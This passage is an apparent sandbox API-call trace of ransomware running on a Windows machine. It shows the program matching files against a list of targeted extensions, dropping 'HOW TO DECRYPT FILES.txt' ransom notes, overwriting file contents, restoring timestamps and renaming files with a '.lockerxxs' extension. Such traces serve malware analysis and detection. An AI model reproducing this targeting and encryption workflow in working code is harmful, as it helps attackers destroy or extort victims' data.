Mail\\Stationery\\" [0085.087] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.088] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.088] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.088] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Orange Circles.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" [0085.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.ems") returned 0 [0085.088] lstrlenA (lpString="*.ems") returned 5 [0085.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.db") returned 0 [0085.088] lstrlenA (lpString="*.db") returned 4 [0085.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.dbf") returned 0 [0085.088] lstrlenA (lpString="*.dbf") returned 5 [0085.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.myox") returned 0 [0085.088] lstrlenA (lpString="*.myox") returned 6 [0085.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.myo") returned 0 [0085.089] lstrlenA (lpString="*.myo") returned 5 [0085.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.qbw") returned 0 [0085.089] lstrlenA (lpString="*.qbw") returned 5 [0085.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.qbb") returned 0 [0085.089] lstrlenA (lpString="*.qbb") returned 5 [0085.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.qbm") returned 0 [0085.089] lstrlenA (lpString="*.qbm") returned 5 [0085.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.qbo") returned 0 [0085.089] lstrlenA (lpString="*.qbo") returned 5 [0085.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.qbx") returned 0 [0085.090] lstrlenA (lpString="*.qbx") returned 5 [0085.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.qba") returned 0 [0085.090] lstrlenA (lpString="*.qba") returned 5 [0085.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.qby") returned 0 [0085.090] lstrlenA (lpString="*.qby") returned 5 [0085.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.qbj") returned 0 [0085.091] lstrlenA (lpString="*.qbj") returned 5 [0085.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.ofx") returned 0 [0085.091] lstrlenA (lpString="*.ofx") returned 5 [0085.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.qif") returned 0 [0085.091] lstrlenA (lpString="*.qif") returned 5 [0085.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.mye") returned 0 [0085.091] lstrlenA (lpString="*.mye") returned 5 [0085.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.mbox") returned 0 [0085.091] lstrlenA (lpString="*.mbox") returned 6 [0085.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.eml") returned 0 [0085.091] lstrlenA (lpString="*.eml") returned 5 [0085.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.pst") returned 0 [0085.091] lstrlenA (lpString="*.pst") returned 5 [0085.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.ost") returned 0 [0085.091] lstrlenA (lpString="*.ost") returned 5 [0085.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.idx") returned 0 [0085.091] lstrlenA (lpString="*.idx") returned 5 [0085.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.dbx") returned 0 [0085.091] lstrlenA (lpString="*.dbx") returned 5 [0085.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.sql") returned 0 [0085.092] lstrlenA (lpString="*.sql") returned 5 [0085.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.mdb") returned 0 [0085.092] lstrlenA (lpString="*.mdb") returned 5 [0085.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.fdb") returned 0 [0085.092] lstrlenA (lpString="*.fdb") returned 5 [0085.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.wab") returned 0 [0085.092] lstrlenA (lpString="*.wab") returned 5 [0085.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.dat") returned 0 [0085.092] lstrlenA (lpString="*.dat") returned 5 [0085.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.txt") returned 0 [0085.092] lstrlenA (lpString="*.txt") returned 5 [0085.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.jpeg") returned 0 [0085.092] lstrlenA (lpString="*.jpeg") returned 6 [0085.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.jpg") returned 0 [0085.092] lstrlenA (lpString="*.jpg") returned 5 [0085.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.png") returned 0 [0085.093] lstrlenA (lpString="*.png") returned 5 [0085.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.php") returned 0 [0085.093] lstrlenA (lpString="*.php") returned 5 [0085.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.cs") returned 0 [0085.093] lstrlenA (lpString="*.cs") returned 4 [0085.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.cpp") returned 0 [0085.093] lstrlenA (lpString="*.cpp") returned 5 [0085.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.rar") returned 0 [0085.093] lstrlenA (lpString="*.rar") returned 5 [0085.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.zip") returned 0 [0085.093] lstrlenA (lpString="*.zip") returned 5 [0085.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.html") returned 0 [0085.093] lstrlenA (lpString="*.html") returned 6 [0085.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", pszSpec="*.htm") returned 1 [0085.093] lstrlenA (lpString="*.htm") returned 5 [0085.094] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" [0085.094] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" [0085.094] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm." [0085.094] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.lockerxxs" [0085.094] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.097] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xed [0085.097] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xce0e3b3c, dwHighDateTime=0x1ca040d)) returned 1 [0085.097] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.097] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc7, lpOverlapped=0x0) returned 1 [0085.098] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm") returned="Orange Circles.htm" [0085.098] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.098] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc7, lpOverlapped=0x0) returned 1 [0085.099] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.099] CloseHandle (hObject=0x98) returned 1 [0085.099] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.lockerxxs")) returned 1 [0085.100] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x1c00031f, dwReserved1=0x4e00c4, cFileName="OrangeCircles.jpg", cAlternateFileName="ORANGE~1.JPG")) returned 1 [0085.100] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.100] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OrangeCircles.jpg") returned -1 [0085.100] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OrangeCircles.jpg") returned -1 [0085.101] lstrcmpiA (lpString1="", lpString2="OrangeCircles.jpg") returned -1 [0085.101] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm") returned="Orange Circles.htm" [0085.101] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.101] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.101] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.101] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.101] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="OrangeCircles.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" [0085.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.ems") returned 0 [0085.101] lstrlenA (lpString="*.ems") returned 5 [0085.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.db") returned 0 [0085.101] lstrlenA (lpString="*.db") returned 4 [0085.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.dbf") returned 0 [0085.101] lstrlenA (lpString="*.dbf") returned 5 [0085.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.myox") returned 0 [0085.101] lstrlenA (lpString="*.myox") returned 6 [0085.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.myo") returned 0 [0085.101] lstrlenA (lpString="*.myo") returned 5 [0085.101] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.qbw") returned 0 [0085.102] lstrlenA (lpString="*.qbw") returned 5 [0085.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.qbb") returned 0 [0085.102] lstrlenA (lpString="*.qbb") returned 5 [0085.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.qbm") returned 0 [0085.102] lstrlenA (lpString="*.qbm") returned 5 [0085.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.qbo") returned 0 [0085.102] lstrlenA (lpString="*.qbo") returned 5 [0085.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.qbx") returned 0 [0085.102] lstrlenA (lpString="*.qbx") returned 5 [0085.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.qba") returned 0 [0085.102] lstrlenA (lpString="*.qba") returned 5 [0085.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.qby") returned 0 [0085.102] lstrlenA (lpString="*.qby") returned 5 [0085.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.qbj") returned 0 [0085.102] lstrlenA (lpString="*.qbj") returned 5 [0085.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.ofx") returned 0 [0085.102] lstrlenA (lpString="*.ofx") returned 5 [0085.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.qif") returned 0 [0085.102] lstrlenA (lpString="*.qif") returned 5 [0085.102] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.mye") returned 0 [0085.102] lstrlenA (lpString="*.mye") returned 5 [0085.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.mbox") returned 0 [0085.103] lstrlenA (lpString="*.mbox") returned 6 [0085.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.eml") returned 0 [0085.103] lstrlenA (lpString="*.eml") returned 5 [0085.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.pst") returned 0 [0085.103] lstrlenA (lpString="*.pst") returned 5 [0085.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.ost") returned 0 [0085.103] lstrlenA (lpString="*.ost") returned 5 [0085.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.idx") returned 0 [0085.103] lstrlenA (lpString="*.idx") returned 5 [0085.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.dbx") returned 0 [0085.103] lstrlenA (lpString="*.dbx") returned 5 [0085.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.sql") returned 0 [0085.103] lstrlenA (lpString="*.sql") returned 5 [0085.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.mdb") returned 0 [0085.103] lstrlenA (lpString="*.mdb") returned 5 [0085.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.fdb") returned 0 [0085.103] lstrlenA (lpString="*.fdb") returned 5 [0085.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.wab") returned 0 [0085.103] lstrlenA (lpString="*.wab") returned 5 [0085.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.dat") returned 0 [0085.103] lstrlenA (lpString="*.dat") returned 5 [0085.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.txt") returned 0 [0085.104] lstrlenA (lpString="*.txt") returned 5 [0085.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.jpeg") returned 0 [0085.104] lstrlenA (lpString="*.jpeg") returned 6 [0085.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", pszSpec="*.jpg") returned 1 [0085.104] lstrlenA (lpString="*.jpg") returned 5 [0085.104] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" [0085.104] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" [0085.104] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows 